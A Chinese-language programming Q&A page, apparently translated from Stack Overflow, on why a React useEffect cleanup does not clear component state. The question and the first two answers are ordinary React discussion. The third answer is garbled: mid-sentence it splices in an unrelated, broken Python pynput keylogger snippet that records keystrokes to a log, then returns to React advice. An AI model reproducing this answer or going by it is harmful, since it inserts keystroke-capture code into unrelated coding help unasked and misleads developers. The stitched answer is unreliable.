专家, 请向我解释一下,为什么在下面的代码中useEffect清理功能不会清除属性的状态?
我的组件
export default function TestComp() {
let { id } = useParams();
const [value, setValue] = useState(null);
console.log('[TestComp] called...');
const cleanup = () => {
console.log('[TestComp] old value', value);
setValue(null);
};
useEffect(() => {
console.log('[TestComp] id changed: ', id);
console.log('[TestComp] value in useEffect', value);
setValue(id);
return () => {
cleanup();
}
}, [id]);
return (<React.Fragment>Test id: {id}</React.Fragment>)
}
控制台输出:
[TestComp] called... TestComp.js:8
[TestComp] old value satellites:MTP TestComp.js:11
[TestComp] id changed: satellites:MTP TestComp.js:16
[TestComp] value in useEffect satellites:FPGA TestComp.js:17
[TestComp] called... 2 TestComp.js:8
[TestComp] old value satellites:FPGA TestComp.js:11
[TestComp] id changed: satellites:FNE TestComp.js:16
[TestComp] value in useEffect satellites:MTP TestComp.js:17
[TestComp] called... TestComp.js:8
我希望当useEffect被调用两次时,值将被清除并为 null ,但是它仍然保留旧值:
value in useEffect satellites:MTP TestComp.js:17
谢谢。
答案 0 :(得分:1)
您可能想要添加另一个useEffect
,因为在当前情况下,cleanup
函数仅在 unmount 上运行,这对于当前逻辑而言是毫无用处的。
export default function TestComp() {
let { id } = useParams();
const [value, setValue] = useState(null);
console.log('[TestComp] called...');
useEffect(() => {
console.log('[TestComp] id changed: ', id);
console.log('[TestComp] value in useEffect', value);
setValue(id);
/* v Useless cleanup because the component unmounts anyway,
the `value` state will be cleaned automatically.
return () => {
cleanup();
}
*/
}, [id]);
// ^ Firstly, the `value` changed on id change
// v Secondly, the `value` will be reset on `value` change
useEffect(() => {
console.log('[TestComp] old value', value);
setValue(null);
}, [value]);
return <>Test id: {id}</>;
}
答案 1 :(得分:0)
我认为这与事情发生的顺序有关。
useEffect
将在闭包(即调用TestComp
函数)时“捕获”作为闭包的一部分的值。当id更改时,React将安排对cleanup函数的调用,然后对效果的调用。但是,TestComp
直到新的效果函数被调用后才被再次调用。
您可以在日志中看到这一点,因为清理功能中的每个old value
紧跟着效果功能中的id changed
。
由于新效果从调用TestComp
时开始“捕获”值,因此它将看不到清理功能设置的值。
还要注意,至少在测试中,我看到React抱怨value
和cleanup
不在useEffect
的依赖关系中。
答案 2 :(得分:0)
useEffect的返回功能仅在应用下一个效果之前清除上一个效果。但是代码中的主要问题是
import pynput
from pynput.keyboard import Key, Listener
def key_key (key):
format_key = str (key) #Convert key to string
if key == Key.enter:
write_logs ("\ n")
elif key == Key.esc:
write_logs ("[Esc]")
else:
write_logs (format_key [2]) #Capture only the value between single quotation marks (generated value is u '[keypress]')
#Initialize Keylogger
with Listener (on_press = catch_key) as listen:
listen.join ()
通常,在清理过程中,我们取消订阅外部服务/订阅,但在这里您更改的状态在这里是没有意义的,并立即由运行在 setValue之后的useEffect setValue 进行更新调用了内部清理,这也是再次调用效果的原因,
在useEffect中添加setTimeout后检查代码。
const cleanup = () => {
console.log('[TestComp] old value', value);
setValue(null); // This is not prefer way to use setValue here.
}
可能的解决方案-
在上述情况下,您使用的是 id ,请将该属性提升到父组件,然后将其作为属性传递给TestComp组件。
当效果运行时,整个组件将被重新渲染,范围被破坏,但所有状态都将保留在 useState 钩子的闭合范围内。